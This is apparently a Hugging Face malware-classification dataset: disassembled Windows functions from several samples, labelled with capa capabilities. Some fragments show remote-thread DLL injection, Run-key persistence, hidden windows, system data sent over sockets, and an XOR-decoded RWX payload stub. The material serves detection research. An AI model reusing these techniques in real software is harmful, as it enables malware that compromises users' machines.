joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10066e40
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x1008c78b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push esi
mov esi, dword [esp + 0x144]
push esi
lea ecx, [esp + 8]
mov dword [esp + 0xc], 0
call fcn.1007e5df
mov eax, dword [esp + 0x148]
test eax, eax
jne 0x10066f12
mov eax, dword [esp + 4]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x10066eaa
lea ecx, [esp + 4]
mov dword [esp + 0x13c], 0xffffffff
call fcn.1007e571
xor eax, eax
jmp 0x10066f62
push esi
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x10066ec5
lea ecx, [esp + 8]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
jmp 0x10066f16
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0xc]
mov esi, eax
push edx
push esi
mov dword [esp + 0x14], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10066f16
mov ecx, dword [esp + 4]
lea eax, [esp + 0x30]
push eax
push ecx
call fcn.1006e343
add esp, 8
test eax, eax
je 0x10066f0e
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10066ee7
jmp 0x10066f16
mov eax, dword [esp + 0x14]
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
test eax, eax
jne 0x10066f36
lea ecx, [esp + 4]
mov dword [esp + 0x13c], 0xffffffff
call fcn.1007e571
xor eax, eax
jmp 0x10066f62
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 4]
mov esi, eax
mov dword [esp + 0x13c], 0xffffffff
call fcn.1007e571
mov eax, esi
mov ecx, dword [esp + 0x134]
pop esi
mov dword fs:[0], ecx
add esp, 0x13c
ret 8

Function at 0x10066fc0
Capabilities:
Create process on windows

Disassembly:
push str.Microsoft_Internet_Explorer
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExA]
mov ecx, dword [esp + 4]
push 1
push 0
push 0
push ecx
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret 4

Function at 0x10067920
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x10067986
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x10067986
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x10067967
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret
Function at 0x10067d10
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x10067d48
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x10068a10
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x10068a59
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x10068ed0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x1008c9d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.10068a80
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.10068b00
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.10068b00
lea ecx, [esi + 0xc]
call fcn.1007e4fc
lea ecx, [esi + 0x10]
call fcn.1007e4fc
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.1006a090
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.1006a090
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.1006a090
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.1007e571
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.1007e571
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x100808fb
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x10080933
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.1007e9cc
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.1007e9a4
jmp 0x1008093f
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x10081fe9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x1008202b
call fcn.10087c49
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x1008202b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x10082022
xor eax, eax
jmp 0x10082033
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.10082039
pop edi
pop esi
pop ebx
ret 4
Function at 0x401d10
Capabilities:
Get common file path

Disassembly:
sub esp, 0x2c
mov dword [esp + 0x10], 0x411040
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x801a
mov dword [esp], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov edx, 0x411040
sub esp, 0x14
test eax, eax
mov eax, str.C:UsersPublic
cmovns eax, edx
add esp, 0x2c
ret

Function at 0x401d60
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x3c
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], 0x20006
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esp, 0x14
test eax, eax
je 0x401db0
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
sub esp, 4
add esp, 0x3c
ret
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], 1
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 8], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], str.paradox
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub esp, 0x18
jmp 0x401d97

Function at 0x401e60
Capabilities:
Send data
Send data on socket

Disassembly:
push edi
mov edx, 0x4119c0
xor eax, eax
mov ecx, 0x100
push esi
mov edi, edx
push ebx
sub esp, 0x10
rep stosd dword es:[edi], eax
lea eax, [esp + 0x24]
mov dword [esp], edx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
call fcn.00405170
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [esp], 0x4119c0
mov esi, eax
call sub.msvcrt.dll_strlen
test eax, eax
je 0x401ef1
xor edi, edi
cmp esi, 0x2746
mov ebx, eax
mov esi, dword [sym.imp.WS2_32.dll_send]
jne 0x401ec6
jmp 0x401f06
add edi, eax
cmp ebx, edi
jle 0x401ef1
mov eax, ebx
mov dword [esp + 0xc], 0
sub eax, edi
mov dword [esp + 8], eax
lea eax, [edi + 0x4119c0]
mov dword [esp + 4], eax
mov eax, dword [0x41117c]
mov dword [esp], eax
call esi
sub esp, 0x10
test eax, eax
jns 0x401ec0
add esp, 0x10
pop ebx
pop esi
pop edi
ret
add edi, eax
cmp ebx, edi
jle 0x401ef1
mov eax, ebx
mov dword [esp + 0xc], 0
sub eax, edi
mov dword [esp + 8], eax
lea eax, [edi + 0x4119c0]
mov dword [esp + 4], eax
mov eax, dword [0x41117c]
mov dword [esp], eax
call esi
mov dword [0x411dc0], 0
sub esp, 0x10
test eax, eax
jns 0x401f00
add esp, 0x10
pop ebx
pop esi
pop edi
ret

Function at 0x402000
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x1ac
lea eax, [esp + 0x10]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
test eax, eax
jne 0x402030
add esp, 0x1ac
ret
mov dword [esp], str._Error__Error_Starting_Winsock.
call fcn.00401e00
call fcn.004015e0
add esp, 0x1ac
ret
Function at 0x403920
Capabilities:
Get system information on windows

Disassembly:
push ebx
sub esp, 0x48
lea eax, [esp + 0x1c]
mov ebx, dword [esp + 0x50]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
sub esp, 4
cmp ebx, 2
je 0x403990
jg 0x403968
test ebx, ebx
je 0x4039b0
cmp ebx, 1
jne 0x40395c
mov eax, dword [esp + 0x20]
mov dword [esp], 0x40c7c5
mov dword [esp + 4], eax
call fcn.00401e60
add esp, 0x48
pop ebx
ret
cmp ebx, 3
jne 0x40395c
mov eax, dword [esp + 0x28]
mov dword [esp], 0x40c7c5
mov dword [esp + 4], eax
call fcn.00401e60
add esp, 0x48
pop ebx
ret
mov eax, dword [esp + 0x24]
mov dword [esp], 0x40c7c5
mov dword [esp + 4], eax
call fcn.00401e60
add esp, 0x48
pop ebx
ret
mov eax, dword [esp + 0x30]
mov dword [esp], 0x40c7c5
mov dword [esp + 4], eax
call fcn.00401e60
add esp, 0x48
pop ebx
ret

Function at 0x4039d0
Capabilities:
Get memory capacity

Disassembly:
push ebx
sub esp, 0x68
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x40
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
sub esp, 4
cmp dword [esp + 0x70], 1
mov ecx, dword [esp + 0x28]
mov ebx, dword [esp + 0x2c]
mov eax, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
je 0x403a30
shrd eax, edx, 0x14
shr edx, 0x14
mov dword [esp], 0x40c7c8
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edx
fild qword [esp + 0x18]
fstp qword [esp + 4]
call fcn.00401e60
add esp, 0x68
pop ebx
ret
shrd ecx, ebx, 0x14
shr ebx, 0x14
mov dword [esp], 0x40c7c8
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], ecx
fild qword [esp + 0x18]
fstp qword [esp + 4]
call fcn.00401e60
add esp, 0x68
pop ebx
ret
Function at 0x40acf0
Capabilities:
Copy file
Create directory
Hide graphical window

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
lea esi, [ebp - 0x418]
push ebx
lea ebx, [ebp - 0x818]
push ecx
mov edi, ebx
sub esp, 0x828
call fcn.00404190
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov ecx, 0x100
sub esp, 8
mov eax, edx
rep stosd dword es:[edi], eax
mov edi, esi
call fcn.00401d10
mov dword [esp], ebx
mov dword [esp + 0x14], str.paradox.apk
mov dword [esp + 0x10], 0x40c050
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s_s
mov dword [esp + 4], 0x400
call fcn.004014f0
xor eax, eax
mov ecx, 0x100
rep stosd dword es:[edi], eax
call fcn.00401d10
mov dword [esp], esi
mov dword [esp + 0x10], 0x40c050
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_s_
mov dword [esp + 4], 0x400
call fcn.004014f0
mov dword [esp], esi
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
sub esp, 8
call fcn.004037a0
mov dword [esp + 4], ebx
mov dword [esp + 8], 1
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
sub esp, 0xc
mov dword [esp], ebx
call fcn.00401d60
call fcn.00402050
lea esp, [ebp - 0x10]
xor eax, eax
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
push ebx
push esi
push edi
lea edi, [ebp - 0xfc]
mov ecx, 0x3f
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403ab0
add esp, 4
add eax, 1
mov dword [ebp - 8], eax
mov esi, esp
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp esi, esp
call fcn.00403b40
mov dword [ebp - 0x14], eax
mov esi, esp
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.00403b40
mov esi, esp
push str.LoadLibraryA
mov edi, esp
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp edi, esp
call fcn.00403b40
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.00403b40
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4010ad
xor al, al
jmp 0x40115c
mov esi, esp
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp esi, esp
call fcn.00403b40
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x4010dd
xor al, al
jmp 0x40115c
mov esi, esp
push 0x2710
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp esi, esp
call fcn.00403b40
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x80
je 0x401110
cmp dword [ebp - 0x38], 0x102
je 0x401110
cmp dword [ebp - 0x38], 0xffffffff
jne 0x40112d
cmp dword [ebp - 0x2c], 0
je 0x401129
mov esi, esp
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.00403b40
xor al, al
jmp 0x40115c
mov esi, esp
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00403b40
cmp dword [ebp - 0x2c], 0
je 0x40115a
mov esi, esp
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.00403b40
mov al, 1
pop edi
pop esi
pop ebx
add esp, 0xfc
cmp ebp, esp
call fcn.00403b40
mov esp, ebp
pop ebp
ret
Function at 0x401170
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e4
push ebx
push esi
push edi
lea edi, [ebp - 0x2e4]
mov ecx, 0xb9
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x44b320]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x44
push 0
lea eax, [ebp - 0x4c]
push eax
call fcn.004040c0
add esp, 0xc
mov dword [ebp - 0x4c], 0x44
push 0x10
push 0
lea eax, [ebp - 0x64]
push eax
call fcn.004040c0
add esp, 0xc
push str.Conquer.exe_blacknull
lea ecx, [ebp - 0x8c]
call fcn.00401370
mov eax, dword [0x43e4f8]
push eax
push 0x43e4f4
lea ecx, [ebp - 0x8c]
call fcn.00401680
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
cmp eax, dword [0x43e4f8]
je 0x40122b
mov eax, dword [ebp - 0x98]
push eax
push 0
lea ecx, [ebp - 0x2e0]
push ecx
lea ecx, [ebp - 0x8c]
call fcn.00401730
push eax
lea ecx, [ebp - 0x8c]
call fcn.00401420
lea ecx, [ebp - 0x2e0]
call fcn.00401580
lea ecx, [ebp - 0x8c]
call fcn.00401650
add eax, 1
push eax
lea ecx, [ebp - 0x8c]
call fcn.00401610
push eax
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403d50
add esp, 0xc
mov esi, esp
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x4c]
push ecx
mov edx, dword [ebp - 0x98]
sub edx, dword [0x43e4f8]
neg edx
sbb edx, edx
lea eax, [ebp - 0x1a4]
and edx, eax
push edx
push 0
push 0
push 0
push 0
push 0
push str.Conquer.exe_blacknull
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp esi, esp
call fcn.00403b40
test eax, eax
jne 0x4012d4
mov esi, esp
push 0
push str.ScorpenProject_Protect
push str.Sorry___Will_Not_Starting_Because_You_Trying_To_Edit_Client_FIlES_Please_Dont_Try
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00403b40
mov dword [ebp - 0x2b8], 0
lea ecx, [ebp - 0x8c]
call fcn.00401580
mov eax, dword [ebp - 0x2b8]
jmp 0x4012f0
push 0x43e478
mov eax, dword [ebp - 0x64]
push eax
call section..text
add esp, 8
lea ecx, [ebp - 0x8c]
call fcn.00401580
push edx
mov ecx, ebp
push eax
lea edx, [0x401324]
call fcn.00403b70
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404140
add esp, 0x2e4
cmp ebp, esp
call fcn.00403b40
mov esp, ebp
pop ebp
ret 0x10

Function at 0x404140
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44b320]
jne 0x40414a
repz ret
jmp fcn.0040c4a0
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x40500d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x40501c
pop dword [ebp - 0x1c]
mov eax, 0x40501c
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x1f9526e7
sub dword [ebp - 0x2c], 0xd142e19c
mov dword [ebp - 0x28], 0x723419
sub dword [ebp - 0x28], 0xce3ee7d4
mov dword [ebp - 0x24], 0x4213075
sub dword [ebp - 0x24], 0xb7d4ec47
mov dword [ebp - 0x20], 0x77046b70
add dword [ebp - 0x20], 0x88fb9490
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x2030dcca
sub eax, 0x1ff00c7e
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x1b8ab147
add dword [ebp - 0x2c], 0x58e7b80f
mov dword [ebp - 0x28], 0x1cfaf8fa
add dword [ebp - 0x28], 0x2471687b
mov dword [ebp - 0x24], 0x40de71b
add dword [ebp - 0x24], 0x5f618551
mov dword [ebp - 0x20], 0x68f7f8a6
add dword [ebp - 0x20], 0x9708075a
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x5c0779c6
add eax, 0xa4395682
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x383c8
push 0
call eax
mov ecx, 0xda68de6e
sub ecx, 0xda689b66
xor edx, edx
add edx, eax
mov edi, 0x41b000
add edi, dword [ebp - 0x1c]
mov esi, 0x7ebfd58a
add esi, 0x77d110a3
xor dword [ebp - 0x14], ebx
mov ebx, dword [edi]
sub dword [ebp - 0x10], 0xbc2a68d3
xor ebx, esi
mov dword [edx], ebx
add dword [ebp - 4], edi
add edx, 0xe46d86c4
sub edx, 0xe46d86c0
add edi, 0x5b21f613
sub edi, 0x5b21f60f
loop 0x405135
add eax, 0xfef3
xor ebx, ebx
add ebx, eax
add eax, 0xb43c27d9
sub eax, 0xb43c27d4
mov ecx, 0x400000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp dword [0x411b4c], 0
je 0x401071
push esi
push 0
push 0x80
push 4
push 0
push 1
push 0x120116
push 0x412390
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401070
push 2
push 0
push 0
push esi
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, edi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401050
push 0
lea ecx, [esp + 8]
push ecx
sub eax, edx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ecx
ret
Function at 0x401940
Capabilities:
Create thread

Disassembly:
sub esp, 0x20
push esi
push edi
mov edi, str.ServiceMain_enter__r_n
call fcn.00401000
push 0x4029e0
push 0x411b50
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
xor esi, esi
mov dword [0x411b48], eax
cmp eax, esi
jne 0x401982
mov edi, str.RegisterServiceCtrlHandler_failed__r_n
call fcn.00401000
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
add esp, 0x20
ret 8
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, str.CreateThread_ServiceMainFunc__r_n
mov dword [0x411c54], eax
mov dword [esp + 0xc], esi
call fcn.00401000
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0xc]
push eax
push esi
push esi
push 0x401be0
push esi
push esi
call ebx
test eax, eax
jne 0x4019cf
mov edi, str.create_thread_ServiceMainFunc_failed__r_n
call fcn.00401000
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop ebx
pop edi
pop esi
add esp, 0x20
ret 8
mov edi, str.CreateThread_ServiceMainFunc2__r_n
mov dword [esp + 0xc], esi
call fcn.00401000
lea ecx, [esp + 0xc]
push ecx
push esi
push esi
push 0x401c40
push esi
push esi
call ebx
test eax, eax
jne 0x401a0a
mov edi, str.create_thread_ServiceMainFunc2_failed__r_n
call fcn.00401000
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop ebx
pop edi
pop esi
add esp, 0x20
ret 8
mov edi, str.CreateThread_ServiceMainFunc3__r_n
mov dword [esp + 0xc], esi
call fcn.00401000
lea edx, [esp + 0xc]
push edx
push esi
push esi
push 0x401dd0
push esi
push esi
call ebx
test eax, eax
jne 0x401a45
mov edi, str.create_thread_ServiceMainFunc3_failed__r_n
call fcn.00401000
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop ebx
pop edi
pop esi
add esp, 0x20
ret 8
mov eax, dword [0x411b48]
push 0x411b28
mov ebx, 1
push eax
mov dword [0x411b2c], 4
mov dword [0x411b34], esi
mov dword [0x411b40], esi
mov dword [0x411b28], 0x10
mov dword [0x411b30], ebx
mov dword [0x411b3c], esi
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
push esi
push esi
push esi
lea ecx, [esp + 0x1c]
push ecx
call edi
test eax, eax
je 0x401aca
mov ebx, dword [sym.imp.USER32.dll_TranslateMessage]
push ebp
mov ebp, dword [sym.imp.USER32.dll_DispatchMessageA]
lea edx, [esp + 0x14]
push edx
call ebx
lea eax, [esp + 0x14]
push eax
call ebp
push esi
push esi
push esi
lea ecx, [esp + 0x20]
push ecx
call edi
test eax, eax
jne 0x401aa8
mov ebx, 1
pop ebp
mov edx, dword [0x411b48]
push 0x411b28
push edx
mov dword [0x411b2c], ebx
mov dword [0x411b34], esi
mov dword [0x411b40], esi
mov dword [0x411b28], 0x10
mov dword [0x411b30], ebx
mov dword [0x411b3c], esi
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov edi, str.ServiceMain_exit__r_n
call fcn.00401000
pop ebx
pop edi
xor eax, eax
pop esi
add esp, 0x20
ret 8